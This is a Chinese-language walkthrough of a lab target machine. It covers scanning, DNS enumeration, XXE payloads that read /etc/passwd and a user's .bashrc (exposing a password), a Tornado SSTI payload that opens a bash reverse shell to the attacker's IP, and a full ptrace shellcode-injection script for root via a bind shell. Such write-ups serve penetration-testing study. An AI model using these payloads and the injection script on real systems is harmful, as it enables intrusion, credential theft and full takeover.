0x01 靶机信息
0x02 Write-Up
2.1 主机扫描
目标机IP:192.168.181.158
使用nmap对目标进行扫描
nmap -sS -sV -Pn -p- 192.168.181.158
-sS 隐蔽扫描,-sV 详细版本扫描,-Pn 禁Ping,-p- 所有端口
扫描出目标机有DNS服务和http,网页采用Apache和Tornado架构
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2.2 访问网站并观察
访问80端口网站
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"More you will DIG me,more you will find me on your servers..DIG me more...DIG me more"
首页是关于目标机与Hacker之间的故事,右下角的这段话DIG me more
由于目标机有DNS服务,联想到使用DIG工具进行挖掘
其他页面皆没有收获,查看网页源代码
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TO DO: Use a GET parameter page_no to view pages.
提示让我们使用get参数page_no去显示页面
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Oh Man !! Isn't is right to go a little deep inside?
翻译:
天啊 !!深入一点不好吗?
提示我们方向对了,但是值不对
2.2.1 使用Burpsuite爆破参数值
使用Sniper模式,对page_no的参数值进行遍历
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选择数字模式,值选择0-1000,点击Startattack开启遍历
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遍历完成后,发现正确值21
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访问带值的页面后,主页有了新提示
Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.local
翻译:
好吧,你想让我说点什么吗?
我是一个黑客小子,不是一个愚蠢的黑客。所以我创建了一些子域,以便在我想要的时候返回到服务器!
在我的许多家中...一个这样的家...对我来说就是一个这样的家:hackers.blackhat.local
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添加hosts值后访问,发现是默认主页
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2.2.2 使用Dig挖掘域名
我们根据上文的提示:
“在我的许多家中...一个这样的家...对我来说就是一个这样的家:hackers.blackhat.local”
尝试使用dig挖掘更多的域名
dig blackhat.local any @192.168.181.158
向192.168.181.158服务器查询blackhat.local下的所有解析记录
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添加至hosts文件
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访问http://hackerkid.blackhat.local/,是一个创建账号页面
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无论邮箱是否正确都会显示邮箱不可用
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抓包分析,发现传输使用xml格式
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2.3 渗透路线
2.3.1 利用XXE外部注入
概述:XXE(XML External Entity Injection),即MXL外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站,发起dos攻击。
测试是否存在XXE漏洞
<!DOCTYPE a [<!ENTITY b "xxe">]>
由于页面会显示邮箱,所以email是回显的
在<email>处回显我们的测试结果
<email>&b;</email>
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结果显示存在XXE外部注入漏洞
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]>
读取passwd文件
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saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
我们可以看到saket存在/bin/bash
尝试读取目标.bashrc配置文件
正常读取失败,我们使用php伪协议读取
<!DOCTYPE a [<!ENTITY b SYSTEM "php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc">]>
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对这段base64解码,发现账户密码
username="admin"
password="Saket!#$%@!!"
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访问9999端口网站,发现登录窗口
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使用admin登录失败,用户名saket成功
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页面提示说告诉他我们的名字,尝试传参name,回显和我们的输入一样
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2.3.2 利用SSTI获取shell
概述: SSTI,即服务器端模板注入(Server-Side Template Injection)。攻击者在服务器输入语句,服务端将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容,从而导致信息泄露、代码执行、GetShell等问题。
测试是否存在SSTI
参考(https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python)
``` txt
name = {{7*7}} = 49
可以发现我们传入的值进行了运算,即存在SSTI漏洞
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在kali上开启侦听
nc -nvlp 4444
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利用SSTI反弹shell
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.181.136/4444 0>&1"')}}
对它进行URL编码:
%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%38%31%2e%31%33%36%2f%34%34%34%34%20%30%3e%26%31%22%27%29%7d%7d
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成功获取shell
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/sbin/getcap -r / 2>/dev/null
查找具有Capabilities权限的值
发现python有cap_sys_ptrace功能
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2.3.3 Cap_sys_ptrace提权
参考链接(https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc)
查找root运行的进程
ps -eaf | grep root
利用一个root进程的pid,734
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准备提权脚本,该脚本如果执行成功,它会在端口 5600 处创建一个绑定 shell
这里利用(https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py)的脚本
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
python3 -m http.server 80
开启80服务
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wget http://192.168.181.136/inject.py
将脚本下载到本地
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执行脚本
python2.7 inject.py 734
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查看端口5600是否在侦听
netstat -tunlp
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nc连接端口
nc 192.168.181.158 5600
提权成功
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